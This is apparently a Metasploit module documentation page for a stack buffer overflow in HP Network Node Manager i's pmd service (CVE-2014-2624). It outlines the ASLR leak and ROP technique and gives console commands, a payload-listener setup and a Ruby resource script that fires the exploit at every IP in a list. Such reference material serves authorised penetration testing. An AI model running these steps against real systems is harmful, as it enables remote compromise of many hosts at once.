Module Overview

Name: HP Network Node Manager I PMD Buffer Overflow
Module: exploit/linux/misc/hp_nnmi_pmd_bof
Source code: modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
Disclosure date: 2014-09-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 7426
List of CVEs: CVE-2014-2624

This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The vulnerability exists in the pmd service, due to the insecure usage of functions like strcpy and strcat while handling stack_option packets with user controlled data. In order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from the stack and finally build the ROP chain to avoid NX.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

Using hp_nnmi_pmd_bof against a single host

Normally, you can use exploit/linux/misc/hp_nnmi_pmd_bof this way:

msf > use exploit/linux/misc/hp_nnmi_pmd_bof
msf exploit(hp_nnmi_pmd_bof) > show targets
    ... a list of targets ...
msf exploit(hp_nnmi_pmd_bof) > set TARGET target-id
msf exploit(hp_nnmi_pmd_bof) > show options
    ... show and set options ...
msf exploit(hp_nnmi_pmd_bof) > exploit

Using hp_nnmi_pmd_bof against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your hp_nnmi_pmd_bof will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/misc/hp_nnmi_pmd_bof")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
